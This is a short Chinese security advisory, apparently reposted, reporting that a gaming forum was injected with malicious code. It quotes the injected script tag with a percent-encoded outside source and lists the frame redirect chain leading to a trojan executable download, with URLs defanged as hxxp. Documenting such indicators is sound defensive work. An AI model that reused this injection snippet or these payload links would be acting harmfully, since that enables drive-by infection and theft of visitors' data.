| 关键词: hxxp frame dasd htm cn 22 08 病毒 gamespot 恶意 |
6月6日,游戏基地论坛(hxxp://bbs.gamespot.com.cn/)被植入恶意代码。 用户访问该页面将可能被安装木马病毒等恶意程序,可以导致电脑被黑客控制并且被窃取敏感信息。 MalUrl:hxxp://bbs.gamespot.com.cn/viewthread.php?tid=15660 网页被嵌入恶意链接代码: <script language=”javascript” type=”text/javascript” src=”hxxp://%77%77%77%2E%63%6E%76%2E%6F%72%67%2E%63%6E/%70%6F%70%2E%67%69%66″></script> 挂马分析: [wide]hxxp://bbs.gamespot.com.cn/viewthread.php?tid=15660 [script]hxxp://%77%77%77%2e%63%6e%76%2e%6f%72%67%2e%63%6e/%70%6f%70%2e%67%69%66 [frame]hxxp://dasd22e.cn/08/0008.htm?22 [frame]hxxp://dasd22e.cn/08/index.html [frame]hxxp://dasd22e.cn/08/xyqm.htm [script]hxxp://dasd22e.cn/08/js.js [frame]hxxp://dasd22e.cn/08/xy14.htm [frame]hxxp://dasd22e.cn/08/xyfl.htm [frame]hxxp://dasd22e.cn/08/xyff.htm [frame]hxxp://dasd22e.cn/08/z.htm [frame]hxxp://dasd22e.cn/08/xyvod.htm [frame]hxxp://dasd22e.cn/08/xyxxz.htm [frame]hxxp://dasd22e.cn/08/ytlb.htm [frame]hxxp://dasd22e.cn/08/xy122121.htm [script]hxxp://js.tongji.linezing.com/1116244/tongji.js [frame]hxxp://www.wrmfwf.cn/mbyd/1.htm 最终下载病毒文件: hxxp://sadw222.cn/xh8.exe 通过执行以上病毒文件,来达到完全控制访问者的系统。 为防止病毒二次传播链接hxxp部分被置换为hxxp |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|